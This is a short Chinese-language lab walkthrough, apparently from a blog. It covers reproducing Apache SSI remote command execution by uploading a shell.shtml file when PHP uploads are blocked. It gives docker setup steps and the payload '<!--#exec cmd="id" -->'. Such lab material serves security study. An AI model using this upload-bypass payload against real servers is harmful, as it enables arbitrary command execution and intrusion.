漏洞原理:


在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。
漏洞环境搭建

docker-compose build

docker-compose up -d

Apache SSI 远程命令执行漏洞

问http://your-ip:8080/upload.php,即可看到一个上传表单。

Apache SSI 远程命令执行漏洞

漏洞复现

正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

<!--#exec cmd="id" -->

上传之后点击即可

Apache SSI 远程命令执行漏洞

功输出cmd

Apache SSI 远程命令执行漏洞

相关文章:

  • 2021-12-14
  • 2022-12-23
  • 2021-12-29
  • 2021-11-07
  • 2021-08-16
  • 2021-08-20
  • 2021-10-17
猜你喜欢
  • 2021-06-12
  • 2021-07-11
  • 2021-12-21
  • 2021-05-29
  • 2022-03-11
  • 2021-07-23
相关资源
相似解决方案